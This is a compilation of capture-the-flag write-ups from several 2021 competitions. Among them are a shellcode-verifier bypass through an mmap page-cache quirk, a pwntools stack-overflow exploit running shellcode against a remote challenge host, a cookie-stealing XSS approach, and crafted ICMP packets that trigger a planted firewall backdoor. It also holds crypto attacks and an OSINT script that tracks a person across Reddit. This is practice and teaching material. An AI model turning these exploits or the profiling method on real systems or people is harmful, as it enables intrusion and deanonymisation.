Full solution in the link: [http://github.com/TheMaccabees/ctf-writeups/blob/master/DragonCTF2021/ShellcodeVerifier/solution](http://github.com/TheMaccabees/ctf-writeups/blob/master/DragonCTF2021/ShellcodeVerifier/solution)```// Exploit strategy:// We rely on a documented mmap bug (see "man 2 mmap") regrading the file page cache.// Let's quote from the man:// POSIX specifies that the system shall always zero fill any partial page at the end of the// object and that system will never write any modification of the object beyond its end. On// Linux, when you write data to such partial page after the end of the object, the data// stays in the page cache even after the file is closed and unmapped and even though the// data is never written to the file itself, subsequent mappings may see the modified con‐// tent. [...]//// Because 'mmap' works on page-granularity, we can abuse this bug in order to pass verification.// We abuse the flow in "exec_output": the size of the file is obtained by 'fstat' and passed to// the shellcode verifier, but the whole page is mmap-ed and later executed. Because we abuse the// mmap page cache bug, we can make sure there are more controlled bytes past the verified // shellcode - which will be executed but won't be verified.//// So the general flow we run in the compiler:// 1. Create "prog" file, write a single "nop" instruction (0x90) into it.// 2. sleep() for a little (maybe not needed - just solved some problems in practice)// 3. mmap the "prog" file, and write past the nop instruction our execve("/bin/sh") shellcode.// 4. exit() right away. The sandbox process will now continue.// 5. In the sandbox, 'exec_output' will only verify the "nop", but will execute the entire shellcode.// 6. ???// 7. PROFIT``` |
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Non-Square-Freedom.html](https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Non-Square-Freedom.html)
Cryptography – 465 pts (21 solves) and 490 pts (11 solves) – Chall author: Polymero (me)
“What can I say, I just like squares.”
Files for 1: nonsquarefreedom_easy.py
Files for 2: nonsquarefreedom_hard.py
This challenge was part of our very first CTF, K3RN3LCTF 2021. |
#HTB Cyber Santa is Coming to Town#Web - Toy Workshop
We got an IP address and port to connect to using http along with a download of the docker image. Just from examening the files we downloaded we can see there is a submit api, not sure the formatting yet though for submissions. Looking at the html for the website we can see there is a submit form that is hidden. If we unhide it, it will format and submit the POST request for us. Using this and the knowledge that there is a bot with a flag hidden in the cookie of the bot, by looking at the files downloaded, I submitted a commonly used XSS html. To get this to work, because the website was on WLAN, I spun up ngrok and had it forward to the local python webserver I also spun up in another terminal window. Once I submitted the script below, I waited a few seconds and then I recieved the flag in the header of the GET request from the bot.
<script>document.write('');</script> |
NX Stack is disabled meaning we can write shellcode onto the stack and execute it. We get given a stack leak pointing to the start of the input buffer. So we can write shellcode, overflow the return pointer, ret2shellcode, profit.
```python#!/usr/bin/env python3
from pwn import *
elf = ELF("./sleigh", checksec=False)context.binary = elfrop = ROP(elf)#context.log_level = "debug"gs = '''continue'''
def conn(): if args.REMOTE: r = remote("178.62.75.187", 31878) else: r = process([elf.path]) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) return r
p = conn()
# Shellcode to read flag.txtshellcode = asm("""/* open(flag.txt, 0, 0) */lea rdi, [rip+flag]xor rsi, rsixor rdx, rdxpush 2pop raxsyscall
/*sendfile(1, rax, 0, 60) */mov rdi, 1mov rsi, raxxor rdx, rdxmov r8, 60mov rax, 40syscall
flag: .string "flag.txt"""")
p.sendlineafter(b">", b"1")p.recvuntil(b"sleigh: [")
stackleak = int(p.recv(14), 16)info(f"Stack leak @ {stackleak}")payload = flat({0: shellcode, 72: pack(stackleak)})p.sendlineafter(b">", payload)p.interactive()``` |
# MetaCTF 2021## Online Presence (550pts)### Description: >Sources say Vedder may have used Reddit the past two weeks. It would make sense for him to post some comments on some major subreddits related to his main career interests or near his local area. Can you help find his account?The answer format is the username followed by the post ID and comment ID in the URL to their shortest comment, underscore delimited. For example, for [this comment](https://www.reddit.com/r/AskReddit/comments/r5mmdj/comment/hmnszk4/), the answer would be MetaCTF{Specialistimran_r5mmdj_hmnszk4}.Hint: There's a logical way to solve this challenge that doesn't require much time. There are two major (both have 500k+ subscribers) work-related subreddits.
### Step 1 - Baseline OSINT:We need to dig up some information on Vedder himself, his interests, and his career to begin to piece together where he could be on Reddit.By doing some quick research we can find a Twitter account and a personal website:>https://veddercasyn.me/
>https://twitter.com/veddercasyn
Knowing he's in Hammond, IN, who's closest metro area is Chicago, and his interests in fitness and nutrition, we can begin to piece together some places he might be.
### Step 2 - Data Collection:We built out a list of the most common subreddits using this site, sort by 'SFW':>https://frontpagemetrics.com/top-sfw-subreddits
We figured in a challenge like this, Vedder would not be posting in NSFW subreddits and his presence would be relatively clean.We filtered the subreddits that had more than 500k subscribers, but kept some that were very pertinent, like /r/Chicago.
With a list of the subreddits, we could now either triangulate him manually... which would take forever, or use a nifty tool called [Google Colaboratory](https://research.google.com/colaboratory/) for doing 'Big Data' queries. (Not such big data in this case)
### Step 3 - Triangulation with Google ColabFirst, we need to get the Reddit API Wrapper set up with Google Colab to crawl these subreddits. Set up a Reddit account and fill in the API:```pythonpip install praw---------------------------------------------------------------import praw
reddit = praw.Reddit( user_agent="Comment Extraction (by u/AccountYouSetUpToFindVedder)", client_id="x", client_secret="y", username="AccountYouSetUpToFindVedder", password="PasswordYouSetUpToFindVedder", check_for_async=False)```Then we have can gather submissions from subreddits and store usernames into an array. We began by collecting usernames from the last 150 fitness posts:```pythonsubmissions = reddit.subreddit("fitness").new(limit=150)cusernames1 = []
i = 1for submission in submissions: redditor1 = submission.author print("~~~~~~~~~~~~~~~Submission " + str(i) + " ID= " + submission.id + " Title: " + submission.title + "~~~~~~~~~~~~~~~") print("Posted by:" + str(redditor1.name)) submission.comments.replace_more(limit=None) i=i+1 for comment in submission.comments.list(): cusernames1.append(comment.author) print("ID: " + comment.id + "; " + str(comment.author) + ": " + comment.body) print("\n")```
The code block above was then repurposed for each subreddit we wanted to search, changing out the `cusernames1` variable with a new one to separate our lists of posters.After running it on a few different subreddits, we could determine who were the common posters between two subreddits using the following codeblock.
```cu1set = set(cusernames1)set(cuset2).intersection(cu1set)```
This is basically all of the code required, we just need to try different combinations of subreddits and find the users that are posting comments in each one. Store the users in different arrays and intersect those sets to filter it down.
See the entire script that was ran (with comments along the way!) over on [Google Colab](https://colab.research.google.com/drive/1IhywVzP5E_ifFLWg_WkgkmqhrKD-LyVp?usp=sharing).
### Step 4 - Some Hits!When we were filtering between /r/bodybuilding, /r/fitness, and other health-related subreddits, there were tons of users in the list to go through. Who would've thought people who comment in one subreddit comment in another related one?We decided it needed to be filtered down to the metro area, since we were getting very few users who posted in a city and a health subreddit.Eventually, after intersecting /r/fitness and /r/Indiana, we had only two users to look at:>{Redditor(name='Dptwin'), None, Redditor(name='dtdnumberone')}
Dptwin questionable content, but dtdnumberone was enticing. It's reddit birthday was Nov 30, 5 days before this challenge. It had very few posts, and all were within fitness, indiana, chicago, chicagosuburbs, and related subreddits.We were confident this was Vedder, and now just had to fulfill the flag formatting.
### Step 5 - Generate the FlagThe flag was stipulated to be the username, then post ID, then comment ID of his shortest comment.That comment would be:
Going to the exact comment URL gives us the following information:```Username: dtdnumberonePost ID: r4rantComment ID: hmqpa52```Therefore our flag is<details> <summary>Flag Spoiler:</summary> MetaCTF{dtdnumberone_r4rant_hmqpa52} </details>
## Learning TakeawaysWe learned how to use the Reddit PRAW API for crawling comments and subreddits, and how to filter that data. Correlative logic skills were improved when thinking about where he would be posting.
|
[Original writeup](https://github.com/acdwas/ctf/tree/master/2021/VULNCON%20CTF/pwn/More%20than%20Shellcoding) https://github.com/acdwas/ctf/tree/master/2021/VULNCON%20CTF/pwn/More%20than%20Shellcoding |
# Cyber Santa is Coming to Town: Meet Me Halfway
 
  
## Description
> Evil elves have deployed their own cryptographic service. The keys are unknown to everyone but them. Fortunately, their encryption algorithm is vulnerable. Could you help Santa break the encryption and read their secret message?
## Attached Files
- challenge.py
This file contains the same code that's executed on the docker. We can use this to emulate the encryption with a fake flag.
```pyflag = b'HTB{dummyflag}'
def gen_key(option=0): alphabet = b'0123456789abcdef' const = b'cyb3rXm45!@#' key = b'' for i in range(16-len(const)): key += bytes([alphabet[randint(0,15)]])
if option: return key + const else: return const + key
def encrypt(data, key1, key2): cipher = AES.new(key1, mode=AES.MODE_ECB) ct = cipher.encrypt(pad(data, 16)) print("Step 1: " + str(ct)) cipher = AES.new(key2, mode=AES.MODE_ECB) ct = cipher.encrypt(ct) return ct.hex()
def challenge(): k1 = gen_key() k2 = gen_key(1)
ct = encrypt(flag, k1, k2)
print('Super strong encryption service approved by the elves X-MAS spirit.\n'+\ 'Message for all the elves:\n' +ct + '\nEncrypt your text:\n> ') try: dt = json.loads(input().strip()) pt = bytes.fromhex(dt['pt']) res = encrypt(pt, k1, k2) print(res + '\n') exit(1) except Exception as e: print(e) print('Invalid payload.\n') exit(1)
if __name__ == "__main__": challenge()```
## Summary
We see, that our flag is encrypted twice, by two different AES encryptions, that use a key with 4 random characters each. We also get to enter a plaintext and get its ciphertext.The initial idea I got was using a Meet-In-The-Middle attack, which would also fit the challenge name 'Meet Me Halfway'.
## Flag
```HTB{m337_m3_1n_7h3_m1ddl3_0f_3ncryp710n}```
## Detailed Solution
Okay, so we want to use a Meet-In-The-Middle attack to find our keys and then decrypt our flag.
But how does a Meet-In-The-Middle attack work?We want to get the key for the first encryption, by going forward. We encrypt our known plaintext with all possible keys and store them in a dictionary, that maps ciphertext to key.For the second key we want to go backwards. We decrypt our known ciphertext with all possible keys. Then we check our dictionary. If we find our result in there, we know that our key was correct and we can just take the value for key1 from the dict.
So first, let's get our flag and plaintext-ciphertext pair from our Docker:```batSuper strong encryption service approved by the elves X-MAS spirit.Message for all the elves:d8c4cf645e889ec3d21fdaca4083d17acdd31489126f7a4bd48b73ea51675513165a00308497170dc3cd18ee969e4fc24c2534bffa9aa9ae06dfaeae8d025b9ae4ea59fa5c81103ef4ded08f76f88dffd40c7eb15aa21cc1ff88966c3ddcab89Encrypt your text:> {"pt":"aaaaaaaaaaaaaaaa"}dd94b4f4708c5d21ac12ca38d5a0cebe```
With the variables we got, we can use the following python code to calculate everything for us:```pyimport jsonfrom Crypto.Util.Padding import padfrom Crypto.Cipher import AES
def first_half(plaintext, const, printable): dt = json.loads('{"pt":"' + plaintext + '"}') pt = bytes.fromhex(dt['pt']) res = {} for a in printable: for b in printable: for c in printable: for d in printable: key1 = const + bytes(a.encode('latin-1')) + bytes(b.encode('latin-1')) + bytes(c.encode('latin-1'))+bytes(d.encode('latin-1')) cipher1 = AES.new(key=key1, mode=AES.MODE_ECB) c1 = cipher1.encrypt(pad(pt, 16)) res[c1] = key1 return res
def second_half(ciphertext, dict, const, printable): ct = bytes.fromhex(ciphertext) for a in printable: for b in printable: for c in printable: for d in printable: key2 = bytes(a.encode('latin-1')) + bytes(b.encode('latin-1')) + bytes(c.encode('latin-1'))+bytes(d.encode('latin-1')) + const cipher2 = AES.new(key=key2, mode=AES.MODE_ECB) res = cipher2.decrypt(ct) if res in dict: key1 = dict[res] return key1, key2
def main(): flag = 'd8c4cf645e889ec3d21fdaca4083d17acdd31489126f7a4bd48b73ea51675513165a00308497170dc3cd18ee969e4fc24c2534b...' plaintext = 'aaaaaaaaaaaaaaaa' ciphertext = 'dd94b4f4708c5d21ac12ca38d5a0cebe' const = b'cyb3rXm45!@#' printable = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
dictionary = first_half(plaintext, const, printable) key1, key2 = second_half(ciphertext, dictionary, const, printable)
cipher1 = AES.new(key=key1, mode=AES.MODE_ECB) cipher2 = AES.new(key=key2, mode=AES.MODE_ECB)
decrypted_flag = cipher1.decrypt(cipher2.decrypt(bytes.fromhex(flag))) print(decrypted_flag)
main()```
The output of our code is:```b'https://www.youtube.com/watch?v=DZMv9XO4Nlk\nHTB{m337_m3_1n_7h3_m1ddl3_0f_3ncryp710n}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'```
We get a nice christmas song and our flag `HTB{m337_m3_1n_7h3_m1ddl3_0f_3ncryp710n}`! |
# Zabomb## Description
> You received a suspicious file from the k3rn3l4rmy hacking group, the title says ‘Not a Zip Bomb, Please Open’, you decide NOT to open it and instead try to reverse it.
> It is recommended that you do NOT open this, it will fill your entire disk.
## Solution
```I think this is not reverse challenge :) It's more forensics ```
Dont try to unzip this file, it can fill out your disk.
Check it out the file by some application such as `7z`, it has a strange file. Cause other files is medium or very large
Just extract this file and open it
The flag was captured ??
```Flag is : flag{w0w_c0mpres51on_&_d3comp53ssi0N_!s_s0_c3wl_ju5t_d0n7_gO_b0OM}``` |
# mfine.py
```pykey = 'RVWA6IIHTWAJH1VWEAH0A6AR 1WAFIA2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAQVWEWAW6JVAGWRRWEAHTA6TA6G1V6XWRAH0A2611W5ARFAHR0ATD2WEHJAWSDH#6GWTRAWTJE 1RW5AD0HT4A6A0H21GWA26RVW26RHJ6GAIDTJRHFTA6T5AJFT#WERW5AX6JUARFA6AGWRRWEARVWAIG64AIFEA FDAH0A#DGTJFTBM#ME RV9T4OJ8TOXMOXENUMTO9IO NDO6EMOZ28EROMTND4V_ARVWAIFE2DG6AD0W5A2W6T0ARV6RAW6JVAGWRRWEAWTJE 1R0ARFAFTWAFRVWEAGWRRWEA6T5AX6JUA646HTA2W6THT4ARVWAJH1VWEAH0AW00WTRH6GG A6A0R6T56E5A0DX0RHRDRHFTAJH1VWEAQHRVA6AEDGWA4F#WETHT4AQVHJVAGWRRWEA4FW0ARFAQVHJVA0HTJWARVWA6IIHTWAJH1VWEAH0A0RHGGA6A2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAHRAHTVWEHR0ARVWAQW6UTW00W0AFIARV6RAJG600AFIAJH1VWE0'
def search_a_b(plaintext): for a in range(m+1): for b in range(m+1): ciphertext = '' for letter in plaintext: i = ALPHA.index(letter) c = (a*i + b) % m ciphertext += ALPHA[c] if ciphertext in key: return a, b return a, b
def decrype(plaintext, a, b): ciphertext = '' for x in range(len(key)): for letter in plaintext: i = ALPHA.index(letter) c = (a*i + b) % m if key[x] == ALPHA[c]: ciphertext += letter return ciphertext
ALPHA = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #"m = len(ALPHA)
a, b = search_a_b('VULNCON')
print(decrype(ALPHA, a, b))```
# FLAG
**`VULNCON{3V3RYTH1NG_C4N_B3_BR0K3N_1F_Y0U_AR3_5M4RT_3N0UGH}`**
|
# DragonSector 2021 - EasyNFT
## Introduction
The challenge gives us a domain `easynft.hackable.software` and a Tarball ([files.tar.gz](./files.tar.gz)), which contains an [easynft.pcap](./task/easynft.pcap) and a [README.md](./task/README.md)
The `README.md` state:
```One of our servers is acting strangely lately.There are even rumours that it gives out flags if [asked in a right way](https://xkcd.com/424/).
Our forensic team didn't find any backdoors, but when we try to list firewall rules, `nft` just hangs.The best we could get is this the netlink dump attached in easynft.pcap.
Could you help us figure out what's going on?
P.S. Obviously, the flag was redacted from the dump.```
So apparently, the pcap contains traces of interactions between the `nft` binary and the `netfilters` backend.
## Pcap analysis
Quickly scanning the capture with wireshark, we identify the typical keywords from a routing table (`filter`, `input`, `output`, `forward`...), several interesting keywords (`flag`, `hack`) and a fake flag `dnrgs{REDACTEDREDACTEDREDACTEDREDACTED}`.
The rest of the data seems binary and we cannot get much more from the capture.
We also notice that all packets start with a constant **16 bytes** `Linux netlink (cooked header)`, followed by a variable length and content `Netlink message`.
## Decoding the packets
My `tshark` jutsu isn't that great, so we start by dumping the whole capture with an hexdump of each packets:
```tshark -r easynft.pcap -x```
And we clean it up to keep only the hex bytes on a single line
```tshark -r easynft.pcap -x | grep -v "0000" | awk -F " " '{print $2}' | tr -d ' ' | perl -00 -lpe 'tr/\n//d' | grep -Ev '^\s* > easynft_netlink.dump```
We now have a 23 lines file with the `Netlink messages` ready to parse. (see [easynft_netlink.dump](./easynft_netlink.dump))
As I usually pick go as my first language choice, I've found the `github.com/mdlayher/netlink` library exposing a promising [Message.UnmarshalBinary([]byte) error](https://pkg.go.dev/github.com/mdlayher/[email protected]?utm_source=gopls#Message.UnmarshalBinary) method we could feed with our packet bytes and see what happen.
We also notice when checking the source code of this method, that the first 4 bytes of the message are **its length**. And some of the packet hex strings contains more bytes than these first bytes indicate. This means we can have multiple `netlink.Message` per packet.
From here, the parsing code is quite straigtforward:
```gopackage main
import ( "bufio" "encoding/binary" "encoding/hex" "fmt" "os"
"github.com/mdlayher/netlink")
func main() { f, err := os.Open("hex_netlink.dump") if err != nil { panic(err) } defer f.Close()
scanner := bufio.NewScanner(f) var messages []netlink.Message
for scanner.Scan() { packetHex := scanner.Text()
d, err := hex.DecodeString(packetHex) if err != nil { panic(err) }
// packet may contains multiple messages, so split on size // https://github.com/mdlayher/netlink/blob/v1.4.1/message.go#L234 for { size := binary.LittleEndian.Uint32(d[:4])
packet := d if len(d) > int(size) { packet = d[:size] } d = d[size:]
msg := netlink.Message{} if err := msg.UnmarshalBinary(packet); err != nil { panic(fmt.Errorf("failed to unmarshal: %v - packet: %x", err, d)) }
messages = append(messages, msg) if len(d) == 0 { break } } }
fmt.Printf("Parsed %d messages\n", len(messages)) for _, m := range messages { fmt.Printf("%#v\n", m) }}```
As an output, we get **28 decoded `netlink.Message`**
```Parsed 28 messagesnetlink.Message{Header:netlink.Header{Length:0x14, Type:0xa10, Flags:0x1, Sequence:0x0, PID:0x0}, Data:[]uint8{0x0, 0x0, 0x0, 0x0}}netlink.Message{Header:netlink.Header{Length:0x2c, Type:0xa0f, Flags:0x0, Sequence:0x0, PID:0x200a}, Data:[]uint8{0x0, 0x0, 0xbb, 0x75, 0x8, 0x0, 0x1, 0x0, 0x0, 0x0, 0xbb, 0x75, 0x8, 0x0, 0x2, 0x0, 0x0, 0x0, 0x20, 0xa, 0x8, 0x0, 0x3, 0x0, 0x6e, 0x66, 0x74, 0x0}}netlink.Message{Header:netlink.Header{Length:0x14, Type:0xa01, Flags:0x301, Sequence:0x0, PID:0x0}, Data:[]uint8{0x0, 0x0, 0x0, 0x0}}...truncated...```
We now have more raw bytes in the `Data` field, which the `Type` field could help us identify and understand further.
## Identifying Netlink messages
From the pcap, we saw wireshark identified the messages are using the `netlink netfilter` protocol. Turns out `netfilter` is a sub component of the whole netfilter framework, responsible of the packet routing. Luckily, another library exists extending the netlink's one, to provide us the netfilter decoding features, such as [unmarshalling netlink messages into netfilter header and attributes](https://pkg.go.dev/github.com/ti-mo/[email protected]?utm_source=gopls#UnmarshalNetlink)
We can update our previous loop over the messages to add the netfilter decoding:
```go // add import "github.com/ti-mo/netfilter" fmt.Printf("Parsed %d messages\n", len(messages)) for _, m := range messages { header, attrs, err := netfilter.UnmarshalNetlink(m) if err != nil { panic(err) } fmt.Printf("%s\n", header) for _, attr := range attrs { fmt.Printf("\t%s\n", attr.String()) } }```
This start giving us a bit more info on what's going on:
```Parsed 28 messages<Subsystem: NFSubsysNFTables, Message Type: 16, Family: ProtoUnspec, Version: 0, ResourceID: 0><Subsystem: NFSubsysNFTables, Message Type: 15, Family: ProtoUnspec, Version: 0, ResourceID: 47989> <Length 4, Type 1, Nested false, NetByteOrder false, [0 0 187 117]> <Length 4, Type 2, Nested false, NetByteOrder false, [0 0 32 10]> <Length 4, Type 3, Nested false, NetByteOrder false, [110 102 116 0]><Subsystem: NFSubsysNFTables, Message Type: 1, Family: ProtoUnspec, Version: 0, ResourceID: 0><Subsystem: NFSubsysNFTables, Message Type: 0, Family: ProtoIPv4, Version: 0, ResourceID: 47989> <Length 7, Type 1, Nested false, NetByteOrder false, [102 105 108 116 101 114 0]> <Length 4, Type 2, Nested false, NetByteOrder false, [0 0 0 0]> <Length 4, Type 3, Nested false, NetByteOrder false, [0 0 0 5]> <Length 8, Type 4, Nested false, NetByteOrder false, [0 0 0 0 0 0 0 150]><Subsystem: NFSubsysNone, Message Type: 3, Family: ProtoUnspec, Version: 0, ResourceID: 0>...truncated...```
Now, it's time to start trying to understand these message types. This has been a quite long search, which eventually ended in the linux kernel sources, on the magic `nf_tables_msg_types` enum. (see [nf_tables.h#L101](https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L101)).
Using the kernel sources comments and navigating the various enum, we end up replicating them to allow looking up those meaningfull names in place of the message types using 2 global variables:
```go// https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L101var messageTypeNames = []string{ "NFT_MSG_NEWTABLE", "NFT_MSG_GETTABLE", "NFT_MSG_DELTABLE", "NFT_MSG_NEWCHAIN", "NFT_MSG_GETCHAIN", "NFT_MSG_DELCHAIN", "NFT_MSG_NEWRULE", "NFT_MSG_GETRULE", // ... truncated ...}
var attributeTypeNames = map[string][]string{ "NFT_MSG_NEWGEN": { // https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L1505 "NFTA_GEN_UNSPEC", "NFTA_GEN_ID", "NFTA_GEN_PROC_PID", "NFTA_GEN_PROC_NAME", }, "NFT_MSG_NEWTABLE": { // https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L181 "NFTA_TABLE_UNSPEC", "NFTA_TABLE_NAME", "NFTA_TABLE_FLAGS", "NFTA_TABLE_USE", "NFTA_TABLE_HANDLE", "NFTA_TABLE_PAD", "NFTA_TABLE_USERDATA", "NFTA_TABLE_OWNER", "__NFTA_TABLE_MAx", }, "NFT_MSG_NEWCHAIN": { // https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L218 "NFTA_CHAIN_UNSPEC", "NFTA_CHAIN_TABLE", "NFTA_CHAIN_HANDLE", "NFTA_CHAIN_NAME", "NFTA_CHAIN_HOOK", "NFTA_CHAIN_POLICY", // ... truncated ...}```
Now we update our loop once again to make use of those pretty names:
```go fmt.Printf("Parsed %d messages\n", len(messages)) for _, m := range messages { header, attrs, err := netfilter.UnmarshalNetlink(m) if err != nil { panic(err) } // lookup message name from its message type fmt.Printf("%s\n", messageTypeNames[header.MessageType]) for _, attr := range attrs { // lookup attribute name from its message type and attribute type // or just keep default string repr if no name exists attributeName := attr.String() attrNames, ok := attributeTypeNames[messageTypeNames[header.MessageType]] if ok { attributeName = attrNames[int(attr.Type)] } fmt.Printf("\t%s - %q\n", attributeName, attr.Data) } }```
and tada! we can now put some sense on all of that:
```Parsed 28 messagesNFT_MSG_GETGENNFT_MSG_NEWGEN NFTA_GEN_ID - "\x00\x00\xbbu" NFTA_GEN_PROC_PID - "\x00\x00 \n" NFTA_GEN_PROC_NAME - "nft\x00"NFT_MSG_GETTABLENFT_MSG_NEWTABLE NFTA_TABLE_NAME - "filter\x00" NFTA_TABLE_FLAGS - "\x00\x00\x00\x00" NFTA_TABLE_USE - "\x00\x00\x00\x05" NFTA_TABLE_HANDLE - "\x00\x00\x00\x00\x00\x00\x00\x96"NFT_MSG_NEWCHAINNFT_MSG_GETCHAINNFT_MSG_NEWCHAIN NFTA_CHAIN_TABLE - "filter\x00" NFTA_CHAIN_HANDLE - "\x00\x00\x00\x00\x00\x00\x00\x01" NFTA_CHAIN_NAME - "input\x00"... truncated ...```
From here, we clearly see client requests (such as the one issued using the `nft` commands - `NFT_MSG_GET...`) and server response (`NFT_MSG_NEW...`), which then get parsed by `nft` to display tables, rules or whatever was requested to the terminal.
So we now start to see some human readable table, chains, rules and other pieces of a routing table:
```filter { # chains input {} forward {} output { # rule 0x5 } hack { # rule 0xa } # set flag { # fake flag stored here }}```
We're now having **2 rules** and a **set** still containing raw binary that we have to decode further the attributes.Some of these attributes clearly contains multiple sub-attributes, so we can write a simple function to decode them all:
```gofunc printAttrRecursive(data []byte, level int) { attrs, err := netfilter.UnmarshalAttributes(data) if err != nil { return }
for _, attr := range attrs { if len(attr.Data) > 0 { fmt.Printf("%sType: %d: %q\n", strings.Repeat("\t", level), attr.Type, attr.Data) printAttrRecursive(attr.Data, level+1) } }}```
and update our previous loop on attributes:
```go fmt.Printf("%s\n", messageTypeNames[header.MessageType]) for _, attr := range attrs { // lookup attribute name from its message type and attribute type // or just keep default string repr if no name exists attributeName := attr.String() attrNames, ok := attributeTypeNames[messageTypeNames[header.MessageType]] if ok { attributeName = attrNames[int(attr.Type)] }
switch attributeName { case "NFTA_SET_ELEM_LIST_ELEMENTS": fmt.Printf("\t%s\n", attributeName) printAttrRecursive(attr.Data, 2) case "NFTA_RULE_EXPRESSIONS": fmt.Printf("\t%s\n", attributeName) printAttrRecursive(attr.Data, 2) default: fmt.Printf("\t%s - %q\n", attributeName, attr.Data) } }```
- Program sources: [./netlinkdump/main.go](./netlinkdump/main.go)- Program output: [./netlink.dump](./netlink.dump)
## Decoding the full routing table
Now we'll start manually replacing the various types with their constant names, by looking up the parent in the kernel sources.
We end up with a nice decoded routing table, after looking up every enum values / structs for all kind of attributes such as:
- nft_immediate_attributes: https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L531- nft_cmp_attributes: https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L648- nft_cmp_ops: https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L632- nft_payload_attributes: https://elixir.bootlin.com/linux/v5.15.5/source/include/uapi/linux/netfilter/nf_tables.h#L792
```filter { # set flag { 0: "dnrgs{REDACTEDREDACTEDREDACTEDREDACTED}" } # chains input {} forward {} output { immediate { NFTA_IMMEDIATE_DREG: 0 NFTA_IMMEDIATE_DATA: NFTA_DATA_VALUE: "\xff\xff\xff\xfd" NFTA_DATA_VERDICT : "hack\x00" } } hack { payload { NFTA_PAYLOAD_DREG: 1 NFTA_PAYLOAD_BASE: NFT_PAYLOAD_TRANSPORT_HEADER NFTA_PAYLOAD_OFFSET: 0x1c NFTA_PAYLOAD_LEN: 8 } cmp { NFTA_CMP_SREG: 1 NFTA_CMP_OP: NFT_CMP_EQ NFTA_CMP_DATA: NFTA_DATA_VALUE: dd48d0cfd3103cd4 } immediate { NFTA_IMMEDIATE_DREG: 0x12 NFTA_IMMEDIATE_DATA: NFTA_DATA_VALUE: 0 } lookup { NFTA_LOOKUP_SET: flag NFTA_LOOKUP_SREG: 0x12 NFTA_LOOKUP_DREG: 1 NFTA_LOOKUP_FLAGS: 0 } payload { NFTA_PAYLOAD_SREG: 1 NFTA_PAYLOAD_BASE: 2 NFTA_PAYLOAD_OFFSET: 0x3c NFTA_PAYLOAD_LEN: 0x27 NFTA_PAYLOAD_CSUM_TYPE: 0 NFTA_PAYLOAD_CSUM_OFFSET: 0 NFTA_PAYLOAD_CSUM_FLAGS: 0 } }}```
From here, we're almost done! The `hack` rule is now *human readable*, and we can see that 8 bytes are loaded from our incoming packet (offset `0x1c` from the `NFT_PAYLOAD_TRANSPORT_HEADER` section), then compared to the `dd48d0cfd3103cd4` value, and when it matches, the flag value is loaded from the set, and its `0x27` bytes are written to the response packet at the offset `0x3c`. It's now time to craft our packet!
## Flag time!
Now having the expected payload and the various offsets, we can craft a packet. Seeing no mention of any specific protocol or ports on the routing rules, we could just use any. But given the specific offets of the flag (`0x3c`), we need somehow to control the response size. We could try forging some TCP packet, since the port 22 is open, but the response packet is to small to contains the flag. Some bigger packets could work later during the SSH handshake, but we have some easier options: ICMP !
Then, let's go with some easy to craft `ICMP echo` packets, where we can send a packet of at least `0x3c` bytes and get it echoed back:
```gopackage main
import ( "bytes" "encoding/hex" "fmt" "log" "math/rand" "net"
"golang.org/x/net/icmp" "golang.org/x/net/ipv4")
func main() { targetIP := "34.159.43.116"
payload, _ := hex.DecodeString("dd48d0cfd3103cd4") payloadOffset := 0x1c responseOffset := 0x3c responseSize := 0x27
// craft the expected payload given the above offets padding := bytes.Repeat([]byte("A"), payloadOffset-len(payload)) data := append(padding, payload...) responseFill := bytes.Repeat([]byte("B"), (responseOffset - (payloadOffset + len(payload)) + responseSize)) data = append(data, responseFill...)
// Make a new ICMP message m := icmp.Message{ Type: ipv4.ICMPTypeEcho, Code: 0, Body: &icmp.Echo{ ID: rand.Int(), Seq: rand.Int(), Data: data, }, } packet, err := m.Marshal(nil) if err != nil { panic(err) }
conn, err := net.Dial("ip4:icmp", targetIP) if err != nil { log.Fatalf("Dial: %s\n", err) }
n, err := conn.Write(packet) if err != nil { panic(err) } fmt.Printf("write %d bytes\n", n) fmt.Println(hex.Dump(packet))}```
- Source: [./packetforge/main.go](./packetforge/main.go)
Now fire a tcpdump in a window:
```sudo tcpdump -n host 34.159.43.116 -X```
and run that script:
```sudo go run ./packetforge/main.go```
And the flag should show up on the tcpdump window:
``` 0x0000: 4500 0077 db92 0000 3c01 e215 229f 2b74 E..w....<...".+t 0x0010: c0a8 b222 0000 59cd fd52 164f 4141 4141 ..."..Y..R.OAAAA 0x0020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0x0030: dd48 d0cf d310 3cd4 4242 4242 4242 4242 .H....<.BBBBBBBB 0x0040: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 0x0050: 4472 676e 537b 6338 6439 3862 3037 6434 DrgnS{c8d98b07d4 0x0060: 6332 6634 6133 6363 6332 6663 3130 6234 c2f4a3ccc2fc10b4 0x0070: 6636 3238 3135 7d f62815}```
> Note: we can't just read the packet response from the socket connection in the code, as the packet get modified by the routing table, and the checksum isn't recomputed (got: 0xfd52, want: 0xc180). We could've read it using a lower level connection (such as raw socket & syscalls), but tcpdump does the trick here.
## Conclusion
Despite having missed the flag validation by a couple of minutes, this was a pretty fun and interesting challenge. The multiple rounds of decoding, each providing some more bits of information kept me hooked. Having only a very high level of understanding of `nftables` and overall packet routing, diving in the sources unveiled quite a lot of the magic of it, even if there's still lots of dark spot! |
This simply uses the ASCII table.
We can see that the problem gives us a series of bits 0.1 and every 7 bits separated by `!`
